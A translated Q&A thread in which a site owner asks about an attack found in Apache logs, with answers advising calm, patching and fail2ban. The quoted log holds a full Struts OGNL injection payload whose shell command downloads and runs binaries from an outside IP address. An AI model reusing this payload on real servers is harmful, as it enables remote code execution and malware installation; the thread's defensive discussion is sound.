Я обнаружил попытку атаки - что мне делать?

513
Shawn Northrop

Я просматривал некоторые журналы Apache и наткнулся на то, что кажется атакой

core:error] [pid 20356] (36)File name too long: [client xxx.xxx.xxx.xxx:56856] AH00036: access to /${(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context). (#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)). (#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)). (#w=#ct.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter()). (#w.print(@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime(). exec('uname --m|grep x86_64 >> /dev/null || (pkill loop ; wget -O .loop http://111.90.158.225/d/ft32 && chmod 777 .loop && ./.loop) &&(pkill loop ; wget -O .loop http://111.90.158.225/d/ft64 && chmod 777 .loop && ./.loop)').getInputStream()))). (#w.close())}/index.action failed (filesystem path '/var/www/html/${(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS). (#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']). (#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)). (#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)). (#w=#ct.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter()). (#w.print(@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('uname --m|grep x86_64 >> ') 

Строка исполнения:

exec('uname --m|grep x86_64 >> /dev/null || (pkill loop ; wget -O .loop http://111.90.158.225/d/ft32 && chmod 777 .loop && ./.loop) &&(pkill loop ; wget -O .loop http://111.90.158.225/d/ft64 && chmod 777 .loop && ./.loop)') 

Я загрузил файл wget -O .loop http://111.90.158.225/d/ft64в песочницу, и он кажется скомпилированным / бинарным, поэтому я не уверен, что файл делает при запуске.

  1. По этой ошибке кто-нибудь может сказать, есть ли у меня уязвимость или, что еще лучше, как посмотреть на уязвимости / улучшить безопасность для этой атаки?

    • Я использую Symfony 4 API на Apache 2.4.
    • Я не уверен в том, как происходит атака и как они пытаются выполнить .execкоманду
  2. Есть ли подходящее место, чтобы сообщить об этом?

0
Этот вопрос может быть лучше подходит для https://serverfault.com/. Я буду отмечать для миграции. Christopher Hostage 5 лет назад 2
По моему опыту, если машина демонстрирует признаки взлома, то она больше не заслуживает доверия и должна быть восстановлена. Помните, что злоумышленник, возможно, сделал другие вещи, которые вы не заметили, или успешно прошел некоторые треки. Кроме того, он мог бы служить отправной точкой в ​​вашем центре обработки данных / бизнесе для злоумышленника, который может проникнуть на другие машины, поэтому проверка других является хорошей идеей. Christopher Hostage 5 лет назад 0
Я не уверен, что на самом деле это свидетельствует о том, что компьютер был взломан ... Я мог бы перейти на любой веб-сервер и попытаться перейти по URL-адресу ... Я считаю, что журнал показывает, что кто-то пошел на URL: `http: / /example.com / $ {(# dm=@ognl.OgnlContext @ .... exec (...) / `но я не уверен, верен ли я в этом предположении. В журнале также упоминается` com.opensymphony. xwork2.ActionContext.container`, который является частью Apache Struts. Я не использую Apache Struts Shawn Northrop 5 лет назад 0
@ChristopherHostage, вы могли бы просто проголосовать, чтобы закрыть его как не по теме здесь и по теме в [sf]. Если 4 других человека согласятся с вами, то это будет перенесено. Mokubai 5 лет назад 0
@ChristopherHostage «По моему опыту, если машина показывает доказательства того, что она была скомпрометирована…» В этом случае неправильно. Все журналы Apache отражают попытки что-то сделать на сервере, а не доказательство того, что что-то было сделано. И, как отражено в [моем ответе] (https://superuser.com/a/1377006/167207), это всего лишь попытка атаковать веб-сервер в Интернете, который невероятно распространен, и на самом деле не о чем беспокоиться. своя. JakeGould 5 лет назад 1
@Mokubai, спасибо. Похоже, что для перехода на другой сайт требуется 3000 репутации. https://meta.stackexchange.com/questions/85017/how-do-i-move-my-own-question-to-another-stack-exchange-site Christopher Hostage 5 лет назад 0
@ChristopherHostage, для перехода требуется 3K, чтобы проголосовать. Ниже этого, любой с 15 повторениями может пометить. fixer1234 5 лет назад 0

2 ответа на вопрос

1
JakeGould

Ваш вопрос гласит:

Я обнаружил попытку атаки - что мне делать?

И тогда вы, затаив дыхание, заявляете следующее:

Я просматривал некоторые журналы Apache и наткнулся на то, что кажется атакой ...

Чем ты занимаешься? Простой ответ:

Не паникуйте!

Паника и слишком большие усилия, слишком быстрые, чтобы попытаться смягчить предполагаемую угрозу, могут - и могут - нанести более серьезный ущерб серверу, чем любой ущерб, который может нанести реальная атака.

Но более подробно, каждый веб-сервер в мире постоянно проверяется, а иногда и подвергается реальной атаке. Это природа интернета. Ваши журналы Apache просто регистрируют запросы к серверу и все. Если ваша версия Apache и соответствующая ОС (предполагается, что Linux) полностью исправлены и обновлены, вы должны быть в курсе. Если на вашем сервере выполняются какие-либо сценарии, которые обращены к сети, например, сценарии PHP, у вас может быть уязвимость, зависящая от того, насколько надежен ваш код PHP.

Тем не менее, я все равно не буду слишком беспокоиться. Если ваш PHP-код состоит из предварительно упакованной системы, такой как WordPress или Drupal, убедитесь, что CMS исправлена ​​и обновлена. Если этот код PHP является пользовательским кодом, то этот пользовательский код уязвим только в той степени, в которой он компетентен в кодировании.

Но все это все сводится к моему первоначальному сообщению:

Не паникуйте!

Вероятность того, что вы скомпрометируете этот скрипт, невелика. Это не «атака», а попытка атаки.

Все, что выходит за рамки этого резюме, действительно выходит за рамки простого вопроса.

Тем не менее, наиболее уязвимые веб-сайты не являются веб-сайтами с пользовательской кодировкой, а представляют собой предварительно упакованные системы, такие как WordPress и Drupal, которые не были исправлены владельцами их сайтов. Почему эти сайты не исправлены? Слишком много причин для перечисления. Но подавляющее большинство веб-атак нацелены на устаревшие и незапатченные предварительно упакованные системы, такие как WordPress и Drupal, больше всего на свете.

Также вы спрашиваете:

Есть ли подходящее место, чтобы сообщить об этом?

Сообщите что кому? В основном вас просто зондируют (с попытками атаки) какой-то случайный скрипт где-то. Если вы знали IP-адрес, вы могли бы связаться с владельцем этого IP-адреса и посмотреть, смогут ли они что-то сделать. Но в 2018 году это в лучшем случае бесплодное усилие.

Зачем? Легко: в настоящее время хакеры используют ботнеты, которые часто представляют собой просто зараженные компьютеры или кластеры одноразовых облачных серверов, которые выполняют грязную работу по атаке серверов. Тот факт, что на вас нападает конкретный IP-адрес, не означает, что владельцем системы по этому IP-адресу является злоумышленник. Это может быть просто зараженная система. И если это одноразовый облачный сервер, вы можете обратиться к интернет-провайдеру, который управляет этим облачным сервером, и, возможно, они могут быть предупреждены. Но все произойдет, если владелец ботнета перенесет эти серверы атак на другого интернет-провайдера.

Лучше просто убедиться, что ваш код и сервер надежны, и не беспокойтесь о таких «отчетах». Эта атака не уникальна, и если вы сообщите о ней, вы не получите желаемых результатов.

-1
uSlackr

Если вы внимательно посмотрите на ваши журналы apache, вы, вероятно, увидите множество примеров попыток соединения, пытающихся запустить различные известные уязвимости на вашем сервере.

Важно постоянно обновлять apache и любое приложение на вашем сервере с помощью исправлений безопасности. Также обратите внимание на Apache Secure Baseline Doc из СНГ, чтобы упростить вашу установку.
Наконец, взгляните на такой инструмент, как fail2ban и jache-файлы и фильтры apache (apache-noscript, apache-overflow и т. Д.).

Похожие вопросы